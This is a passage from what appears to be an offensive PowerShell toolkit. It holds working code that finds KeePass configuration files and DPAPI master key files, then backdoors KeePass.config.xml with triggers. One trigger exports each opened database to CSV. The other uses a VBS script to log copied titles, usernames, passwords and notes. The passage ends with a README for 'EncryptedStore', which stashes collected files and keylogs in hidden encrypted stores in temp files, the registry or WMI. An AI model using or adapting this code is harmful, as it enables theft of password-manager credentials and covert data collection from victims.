"$KeePassXMLPathParent\$($KeePassXML.Configuration.Application.LastUsedFile.Path)" -ErrorAction SilentlyContinue 191 | } 192 | 193 | if($KeePassXML.Configuration.Application.MostRecentlyUsed.Items) { 194 | $KeePassXML.Configuration.Application.MostRecentlyUsed.Items | Foreach-Object { 195 | Resolve-Path -Path "$KeePassXMLPathParent\$($_.ConnectionInfo.Path)" -ErrorAction SilentlyContinue | Foreach-Object { 196 | $RecentlyUsed += $_ 197 | } 198 | } 199 | } 200 | 201 | if($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath) { 202 | $DefaultDatabasePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath)" -ErrorAction SilentlyContinue 203 | } 204 | 205 | if($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath) { 206 | $DefaultKeyFilePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath)" -ErrorAction SilentlyContinue 207 | } 208 | 209 | $DefaultUserAccount = $KeePassXML.Configuration.Defaults.KeySources.Association.UserAccount -eq 'true' 210 | 211 | $SecureDesktop = $KeePassXML.Configuration.Security.MasterKeyOnSecureDesktop -eq 'true' 212 | 213 | if($DefaultUserAccount) { 214 | 215 | $UserPath = $Path.Split('\')[0..2] -join '\' 216 | 217 | $UserMasterKeyFolder = Get-ChildItem -Path "$UserPath\AppData\Roaming\Microsoft\Protect\" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName 218 | 219 | if($UserMasterKeyFolder) { 220 | 221 | $UserSid = $UserMasterKeyFolder | Split-Path -Leaf 222 | 223 | try { 224 | $UserSidObject = (New-Object System.Security.Principal.SecurityIdentifier($UserSid)) 225 | $UserNameDomain = $UserSidObject.Translate([System.Security.Principal.NTAccount]).Value 226 | 227 | $UserDomain, $UserName = $UserNameDomain.Split('\') 228 | } 229 | catch { 230 | Write-Warning "Unable to translate SID from $UserMasterKeyFolder , defaulting to user name" 231 | $UserName = $UserPath.Split('\')[-1] 232 | $UserDomain = $Null 233 | } 234 | 235 | $UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) ) 236 | } 237 | else { 238 | $UserSid = $Null 239 | $UserName = $Null 240 | $UserDomain = $Null 241 | } 242 | 243 | $UserKeePassDPAPIBlob = Get-Item -Path "$UserPath\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName 244 | 245 | $UserMasterKeyProperties = @{ 246 | 'UserSid' = $UserSid 247 | 'UserName' = $UserName 248 | 'UserDomain' = $UserDomain 249 | 'UserKeePassDPAPIBlob' = $UserKeePassDPAPIBlob 250 | 'UserMasterKeyFiles' = $UserMasterKeyFiles 251 | } 252 | $DefaultUserAccountData = New-Object -TypeName PSObject -Property $UserMasterKeyProperties 253 | } 254 | 255 | $KeePassXmlProperties = @{ 256 | 'KeePassConfigPath' = $KeePassXMLPath 257 | 'SecureDesktop' = $SecureDesktop 258 | 'LastUsedFile' = $LastUsedFile 259 | 'RecentlyUsed' = $RecentlyUsed 260 | 'DefaultDatabasePath' = $DefaultDatabasePath 261 | 'DefaultKeyFilePath' = $DefaultKeyFilePath 262 | 'DefaultUserAccountData' = $DefaultUserAccountData 263 | } 264 | $KeePassXmlInfo = New-Object -TypeName PSObject -Property $KeePassXmlProperties 265 | $KeePassXmlInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config') 266 | $KeePassXmlInfo 267 | } 268 | } 269 | 270 | PROCESS { 271 | if($PSBoundParameters['Path']) { 272 | $XmlFilePaths = $Path 273 | } 274 | else { 275 | # possible locations for KeePass configs 276 | $XmlFilePaths = @("$($Env:WinDir | Split-Path -Qualifier)\Users\") 277 | $XmlFilePaths += "${env:ProgramFiles(x86)}\" 278 | $XmlFilePaths += "${env:ProgramFiles}\" 279 | } 280 | 281 | $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include @('KeePass.config.xml', 'KeePass.ini') -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { 282 | Write-Verbose "Parsing KeePass config file '$($_.Fullname)'" 283 | 284 | if($_.Extension -eq '.xml') { 285 | Get-KeePassXMLFields -Path $_.Fullname 286 | } 287 | else { 288 | Get-KeePassINIFields -Path $_.Fullname 289 | } 290 | } 291 | } 292 | } 293 | 294 | 295 | function Get-KeePassConfigTrigger { 296 | <# 297 | .SYNOPSIS 298 | 299 | Extracts out the trigger specifications from a KeePass 2.X configuration XML file. 300 | 301 | Author: @harmj0y 302 | License: BSD 3-Clause 303 | Required Dependencies: None 304 | Optional Dependencies: None 305 | 306 | .DESCRIPTION 307 | 308 | This function takes a the path to a KeePass.config.xml file or the input from Find-KeePassConfig, 309 | reads the configuration XML, replaces event/action GUIDs with their readable names, and outputs 310 | each trigger as a custom PSObject. 311 | 312 | .PARAMETER Path 313 | 314 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. 315 | 316 | .EXAMPLE 317 | 318 | PS C:\> $Triggers = Find-KeePassconfig | Get-KeePassConfigTrigger 319 | PS C:\> $Triggers 320 | 321 | 322 | KeePassXMLPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml 323 | Guid : pagwKjmh8U6WbcplUbQnKg== 324 | Name : blah 325 | Enabled : false 326 | InitiallyOn : false 327 | Events : Events 328 | Conditions : 329 | Actions : Actions 330 | 331 | 332 | 333 | PS C:\> $Triggers.Events.Event 334 | 335 | Name Parameters 336 | ---- ---------- 337 | Opened database file Parameters 338 | 339 | 340 | PS C:\> $Triggers.Actions.Action 341 | 342 | Name Parameters 343 | ---- ---------- 344 | Export active database Parameters 345 | #> 346 | [CmdletBinding()] 347 | param( 348 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 349 | [Object[]] 350 | $Path 351 | ) 352 | BEGIN { 353 | $EventGUIDs = @{ 354 | '1M7NtUuYT/KmqeJVJh7I6A==' = 'Application initialized' 355 | '2PMe6cxpSBuJxfzi6ktqlw==' = 'Application started and ready' 356 | 'goq3q7EcTr+AOTY/kXGXeA==' = 'Application exit' 357 | '5f8TBoW4QYm5BvaeKztApw==' = 'Opened database file' 358 | 'lcGm/XJ8QMei+VsPoJljHA==' = 'Saving database file' 359 | 's6j9/ngTSmqcXdW6hDqbjg==' = 'Saved database file' 360 | 'jOremqgXSRmjL/QeOx3sSQ==' = 'Closing database file (before saving)' 361 | 'lPpw5bE/QSamTgZP2MNslQ==' = 'Closing database file (after saving)' 362 | 'P35exipUTFiVRIX78m9W3A==' = 'Copied entry data to clipboard' 363 | 'jRLUmvLLT/eo78/arGJomQ==' = 'User interface state updated' 364 | 'R0dZkpenQ6K5aB8fwvebkg==' = 'Custom toolbar button clicked' 365 | } 366 | 367 | $ActionGUIDs = @{ 368 | '2uX4OwcwTBOe7y66y27kxw==' = 'Execute command line / URL' 369 | 'tkamn96US7mbrjykfswQ6g==' = 'Change trigger on/off state' 370 | '/UFV1XmPRPqrifL4cO+UuA==' = 'Open database file' 371 | '9VdhS/hMQV2pE3o5zRDwvQ==' = 'Save active database' 372 | 'Iq135Bd4Tu2ZtFcdArOtTQ==' = 'Synchronize active database with a file/URL' 373 | 'gOZ/TnLxQEWRdh8sI9jsvg==' = 'Import into active database' 374 | 'D5prW87VRr65NO2xP5RIIg==' = 'Export active database' 375 | 'W79FnVS/Sb2X+yzuX5kKZw==' = 'Close active database' 376 | 'P7gzLdYWToeZBWTbFkzWJg==' = 'Activate database (select tab)' 377 | 'Oz0+MeSzQqa6zNXAO6ypaQ==' = 'Wait' 378 | 'CfePcyTsT+yItiXVMPQ0bg==' = 'Show message box' 379 | 'QGmlNlcbR5Kps3NlMODPww==' = 'Perform global auto-type' 380 | 'MXCPrWSTQ/WU7sgaI24yTQ==' = 'Perform auto-type with selected entry' 381 | 'Qug3gXPTTuyBSJ47NqyDhA==' = 'Show entries by tag' 382 | 'lYGPRZlmSYirPoboGpZoNg==' = 'Add custom toolbar button' 383 | '1m1BomyyRLqkSApB+glIeQ==' = 'Remove custom toolbar button' 384 | } 385 | } 386 | PROCESS { 387 | 388 | ForEach($Object in $Path) { 389 | if($Object -is [String]) { 390 | $KeePassXMLPath = $Object 391 | } 392 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) { 393 | $KeePassXMLPath = [String]$Object.KeePassConfigPath 394 | } 395 | elseif ($Object.PSObject.Properties['Path']) { 396 | $KeePassXMLPath = [String]$Object.Path 397 | } 398 | elseif ($Object.PSObject.Properties['FullName']) { 399 | $KeePassXMLPath = [String]$Object.FullName 400 | } 401 | else { 402 | $KeePassXMLPath = [String]$Object 403 | } 404 | 405 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { 406 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath 407 | 408 | $KeePassXML = ([xml](Get-Content -Path $KeePassXMLPath)).InnerXml 409 | 410 | $EventGUIDs.Keys | Foreach-Object { 411 | $KeePassXML = $KeePassXML.Replace($_, $EventGUIDs[$_]) 412 | } 413 | 414 | $ActionGUIDs.Keys | Foreach-Object { 415 | $KeePassXML = $KeePassXML.Replace($_, $ActionGUIDs[$_]) 416 | } 417 | $KeePassXML = $KeePassXML.Replace('TypeGuid', 'Name') 418 | $KeePassXML = [xml]$KeePassXML 419 | 420 | $Triggers = $KeePassXML.SelectNodes('Configuration/Application/TriggerSystem/Triggers') 421 | 422 | $Triggers | Select-Object -Expand Trigger -ErrorAction SilentlyContinue | ForEach-Object { 423 | $_.PSObject.TypeNames.Insert(0, 'KeePass.Trigger') 424 | $_ | Add-Member Noteproperty 'KeePassConfigPath' $KeePassXMLPath.Path 425 | $_ 426 | } 427 | } 428 | } 429 | } 430 | } 431 | 432 | 433 | function Add-KeePassConfigTrigger { 434 | <# 435 | .SYNOPSIS 436 | 437 | Adds a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig. 438 | 439 | Author: @harmj0y 440 | License: BSD 3-Clause 441 | Required Dependencies: None 442 | Optional Dependencies: None 443 | 444 | .DESCRIPTION 445 | 446 | Inserts a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either 447 | export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the 448 | clipboard from KeePass to $ExportPath ('ExfilDataCopied'). 449 | 450 | .PARAMETER Path 451 | 452 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. 453 | 454 | .PARAMETER Action 455 | 456 | Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export 457 | copied data to $ExportPath). 458 | 459 | .PARAMETER ExportPath 460 | 461 | The path to export data and/or the $TriggerName.vbs to. 462 | 463 | .PARAMETER TriggerName 464 | 465 | The name for the trigger, default to 'Debug'. 466 | 467 | .EXAMPLE 468 | 469 | PS C:\> 'C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml' | Find-KeePassconfig | Add-KeePassConfigTrigger -Verbose 470 | VERBOSE: KeePass XML set to export database to C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass 471 | VERBOSE: C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml backdoored 472 | PS C:\> Find-KeePassconfig C:\Users\ | Get-KeePassConfigTrigger 473 | 474 | 475 | KeePassConfigPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml 476 | Guid : PtbQvEQp00KFSqVteVdBew== 477 | Name : Debug 478 | Events : Events 479 | Conditions : 480 | Actions : Actions 481 | #> 482 | [CmdletBinding()] 483 | param( 484 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 485 | [ValidateNotNullOrEmpty()] 486 | [Object[]] 487 | $Path, 488 | 489 | [Parameter(Position = 1)] 490 | [ValidateSet('ExportDatabase', 'ExfilDataCopied')] 491 | [String] 492 | $Action = 'ExportDatabase', 493 | 494 | [Parameter(Position = 3)] 495 | [ValidateScript({Test-Path -Path $_ })] 496 | [String] 497 | $ExportPath = "${Env:APPDATA}\KeePass", 498 | 499 | [Parameter(Position = 4)] 500 | [ValidateNotNullOrEmpty()] 501 | [String] 502 | $TriggerName = 'Debug' 503 | ) 504 | BEGIN { 505 | 506 | $ExportPathFolder = Resolve-Path -Path $ExportPath -ErrorAction Stop 507 | if ((Get-Item -Path $ExportPathFolder) -isnot [System.IO.DirectoryInfo]) { 508 | throw 'ExportPath must be a directory!' 509 | } 510 | 511 | if($Action -eq 'ExportDatabase') { 512 | # 'Opened database file' 513 | $EventTriggerGUID = '5f8TBoW4QYm5BvaeKztApw==' 514 | 515 | # 'Export active database' 516 | $ActionGUID = 'D5prW87VRr65NO2xP5RIIg==' 517 | 518 | $TriggerXML = [xml] @" 519 | 520 | $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) 521 | $TriggerName 522 | 523 | 524 | $EventTriggerGUID 525 | 526 | 0 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | $ActionGUID 535 | 536 | $($ExportPath)\{DB_BASENAME}.csv 537 | KeePass CSV (1.x) 538 | 539 | 540 | 541 | 542 | 543 | 544 | "@ 545 | 546 | Write-Verbose "KeePass XML set to export database to $ExportPath" 547 | } 548 | else { 549 | # 'ExfilDataCopied' 550 | 551 | # 'Copied entry data to clipboard' 552 | $EventTriggerGUID = 'P35exipUTFiVRIX78m9W3A==' 553 | 554 | # 'Execute command line / URL' 555 | $ActionGUID = '2uX4OwcwTBOe7y66y27kxw==' 556 | 557 | $ExfilVBSLocation = "$ExportPath\$($TriggerName).vbs" 558 | 559 | #write out VBS to location above 560 | $ExfilVBS = @" 561 | Set objArgs = Wscript.Arguments 562 | Dim oFS : Set oFS = CreateObject("Scripting.FileSystemObject") 563 | Dim objFile : Set objFile = oFS.OpenTextFile("$ExportPath\$($TriggerName).txt", 8, True) 564 | For Each strArg in objArgs 565 | objFile.Write strArg & "," 566 | Next 567 | objFile.Write vbCrLf 568 | objFile.Close 569 | "@ 570 | 571 | $ExfilVBS | Out-File -Encoding ASCII -FilePath $ExfilVBSLocation 572 | Write-Verbose "Exfil VBS output to $ExfilVBSLocation set to export data to $ExportPath\$($TriggerName).txt" 573 | 574 | $TriggerXML = [xml] @" 575 | 576 | $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) 577 | $TriggerName 578 | 579 | 580 | $EventTriggerGUID 581 | 582 | 0 583 | 584 | 585 | 586 | 587 | 588 | 589 | 590 | $ActionGUID 591 | 592 | %WINDIR%\System32\wscript.exe 593 | $ExfilVBSLocation "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}" 594 | False 595 | 596 | 597 | 598 | 599 | "@ 600 | 601 | Write-Verbose "KeePass XML set to trigger $ExfilVBSLocation" 602 | } 603 | } 604 | 605 | PROCESS { 606 | 607 | ForEach($Object in $Path) { 608 | if($Object -is [String]) { 609 | $KeePassXMLPath = $Object 610 | } 611 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) { 612 | $KeePassXMLPath = [String]$Object.KeePassConfigPath 613 | } 614 | elseif ($Object.PSObject.Properties['Path']) { 615 | $KeePassXMLPath = [String]$Object.Path 616 | } 617 | elseif ($Object.PSObject.Properties['FullName']) { 618 | $KeePassXMLPath = [String]$Object.FullName 619 | } 620 | else { 621 | $KeePassXMLPath = [String]$Object 622 | } 623 | 624 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { 625 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath 626 | 627 | $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) 628 | 629 | $RandomGUID = [System.GUID]::NewGuid().ToByteArray() 630 | 631 | if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) { 632 | $Triggers = $KeePassXML.CreateElement('Triggers') 633 | $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) 634 | $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers')) 635 | } 636 | else { 637 | $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) 638 | } 639 | 640 | $KeePassXML.Save($KeePassXMLPath) 641 | 642 | Write-Verbose "$KeePassXMLPath backdoored" 643 | } 644 | } 645 | } 646 | } 647 | 648 | 649 | function Remove-KeePassConfigTrigger { 650 | <# 651 | .SYNOPSIS 652 | 653 | Removes a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig. 654 | 655 | Author: @harmj0y 656 | License: BSD 3-Clause 657 | Required Dependencies: None 658 | Optional Dependencies: None 659 | 660 | .DESCRIPTION 661 | 662 | Removes any custom a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either 663 | export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the 664 | clipboard from KeePass to $ExportPath ('ExfilDataCopied'). 665 | 666 | .PARAMETER Path 667 | 668 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. 669 | 670 | .PARAMETER Action 671 | 672 | Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export 673 | copied data to $ExportPath). 674 | 675 | .PARAMETER ExportPath 676 | 677 | The path to export data and/or the $TriggerName.vbs to. 678 | 679 | .PARAMETER TriggerName 680 | 681 | The name for the trigger, default to 'Debug'. 682 | 683 | .EXAMPLE 684 | 685 | PS C:\> Find-KeePassconfig C:\users\ | Remove-KeePassConfigTrigger 686 | 687 | 688 | Guid : wEIpZ61vk0yV5uENe5z0oA== 689 | Name : Debug 690 | Events : Events 691 | Conditions : 692 | Actions : Actions 693 | 694 | 695 | 696 | PS C:\> Find-KeePassconfig C:\users\ | Get-KeePassConfigTrigger 697 | PS C:\> 698 | #> 699 | [CmdletBinding()] 700 | param( 701 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 702 | [ValidateNotNullOrEmpty()] 703 | [Object[]] 704 | $Path, 705 | 706 | [Parameter(Position = 1)] 707 | [ValidateNotNullOrEmpty()] 708 | [String] 709 | $TriggerName = '*' 710 | ) 711 | 712 | PROCESS { 713 | 714 | ForEach($Object in $Path) { 715 | 716 | if($Object -is [String]) { 717 | $KeePassXMLPath = $Object 718 | } 719 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) { 720 | $KeePassXMLPath = [String]$Object.KeePassConfigPath 721 | } 722 | elseif ($Object.PSObject.Properties['Path']) { 723 | $KeePassXMLPath = [String]$Object.Path 724 | } 725 | elseif ($Object.PSObject.Properties['FullName']) { 726 | $KeePassXMLPath = [String]$Object.FullName 727 | } 728 | else { 729 | $KeePassXMLPath = [String]$Object 730 | } 731 | 732 | Write-Verbose "KeePassXMLPath: $KeePassXMLPath" 733 | 734 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { 735 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath 736 | 737 | $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) 738 | 739 | $RandomGUID = [System.GUID]::NewGuid().ToByteArray() 740 | 741 | if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) { 742 | 743 | $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName} 744 | Write-Verbose "Removing triggers matching name $TriggerName" 745 | ForEach($Child in $Children) { 746 | $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child) 747 | } 748 | } 749 | try { 750 | $KeePassXML.Save($KeePassXMLPath) 751 | Write-Verbose "$KeePassXMLPath triggers removed" 752 | } 753 | catch { 754 | Write-Warning "Error setting path $KeePassXMLPath : $_" 755 | } 756 | 757 | } 758 | } 759 | } 760 | } 761 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## EncryptedStore 2 | 3 | Functions focued on storing data in single encrypted file for long term collection. 4 | 5 | The store is 'packetized', with discrete units of the format below appended to a single file, 6 | preventing the need to decrypt the store every time additional data is added. 7 | 8 | The 'packet' structure for each file is (currently) as follows: 9 | 10 | [4 bytes representing size of next block to decrypt] 11 | [0] (indicating straight AES) 12 | [16 byte IV] 13 | [AES-CBC encrypted file block] 14 | [compressed stream] 15 | [260 characters/bytes indicating original path] 16 | [file contents] 17 | ... 18 | 19 | [4 bytes representing size of next block to decrypt] 20 | [1] (indicating straight RSA+AES) 21 | [128 bytes random AES key encrypted with the the RSA public key] 22 | [16 byte IV] 23 | [AES-CBC encrypted file block] 24 | [compressed stream] 25 | [260 characters/bytes indicating original path] 26 | [file contents] 27 | ... 28 | 29 | To encrypt a file for ENCSTORE.bin: 30 | 31 | * Read raw file contents 32 | * Pad original full file PATH to 260 Bytes 33 | * Compress [PATH + file] using IO.Compression.DeflateStream 34 | * If using RSA+AES, generate a random AES key and encrypt using the RSA public key 35 | * Generate random 16 Byte IV 36 | * Encrypt compressed stream with AES-CBC using the predefined key and generated IV 37 | * Calculate length of encrypted block + IV 38 | * append 4 Byte representation of length to ENCSTORE.bin 39 | * append 0 byte if straight AES used, 1 if RSA+AES used 40 | * optionally append 128 bytes of RSA encrypted random AES key if RSA+AES scheme used 41 | * append IV to ENCSTORE.bin 42 | * append encrypted file to ENCSTORE.bin 43 | 44 | To decrypt ENCSTORE.bin, while there is more data to decrypt: 45 | 46 | * Read first 4 Bytes of ENCSTORE.bin and calculate length value X 47 | * Read next size X Bytes of encrypted file 48 | * Read first byte of encrypted block to determine encryption scheme 49 | * 0 == straight AES 50 | * 1 == RSA + AES where random AES key encrypted with RSA pub key 51 | * If RSA+AES is used, read the next 128 bytes of the RSA encrypted AES key and decrypt using the RSA private key 52 | * Read next 16 Bytes of encrypted block and extract IV 53 | * Read remaining block and decrypt AES-CBC compressed stream using predefined key and extracted IV 54 | * Decompress [PATH + file] using IO.Compression.DeflateStream 55 | * Split path by \ and create nested folder structure to mirror original path 56 | * Write original file to mirrored path 57 | 58 | 59 | ### EncryptedStore.ps1 60 | 61 | The PowerShell implementation of EncryptedStore. 62 | 63 | 64 | #### Write-EncryptedStore 65 | 66 | Compresses and encrypts the data passed by $Data with the supplied AES/RSA $Key and write 67 | the data to the specified encrypted $StorePath. -StorePath can be on the filesystem 68 | ("${Env:Temp}\debug.bin"), registry (HKLM:\SOFTWARE\something\something\key\valuename), 69 | or WMI (ROOT\Software\namespace:ClassName). RSA keys can be generated with New-RSAKeyPair. 70 | 71 | If the passed data is a filename, the file is encrypted along with the original path. 72 | Otherwse, the passed data itself is encrypted along with a timestamp to be used as the 73 | extracted file format. If you to tag non-file data, use -DataTag. 74 | 75 | Ex: 76 | 77 | PS C:\> Write-EncryptedStore -FilePath C:\Folder\secret.txt,C:\Folder\secret2.txt -StorePath C:\Temp\debug.bin -Key 'Password123!' 78 | 79 | PS C:\> 'secret.txt','secret2.txt' | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' 80 | 81 | PS C:\> "keystrokes" | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' -DataTag 'keylog' 82 | 83 | 84 | #### Read-EncryptedStore 85 | 86 | Takes a given encrypted store specified by $StorePath and extracts, 87 | decrypts, and decompresses all files/data contained within it. Extracted 88 | files are written out to a created nested folder structure mirroring 89 | the file's original path. -List will list the files without extracting them. 90 | 91 | Ex: 92 | 93 | PS C:\> Read-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' 94 | File data written to C:\Temp\C\Temp\secret.txt 95 | File data written to C:\Temp\C\Temp\secret2.txt 96 | 97 | 98 | ### EncryptedStore.py 99 | 100 | The Python implementation of EncryptedStore. 101 | 102 | Note: RSA containers are not currently supported. 103 | 104 | 105 | To list the files in a store: 106 | 107 | # ./EncryptedStore.py --store store.bin --key 'Password123!' --list 108 | 109 | Files: 110 | 111 | C:\Temp\secret.txt : 1684 bytes 112 | C:\Temp\secret2.txt : 60173 bytes 113 | 114 | 115 | To extract files from a store to a mirrored directory structure in the current directory: 116 | 117 | # /tmp/EncryptedStore.py --store store.bin --key 'Password123!' 118 | 119 | Extracted 1684 bytes of 'C:/Temp/secret.txt' to '/tmp/C:/Temp/secret.txt' 120 | Extracted 60173 bytes of 'C:/Temp/secret2.txt' to '/tmp/C:/Temp/secret2.txt' 121 | --------------------------------------------------------------------------------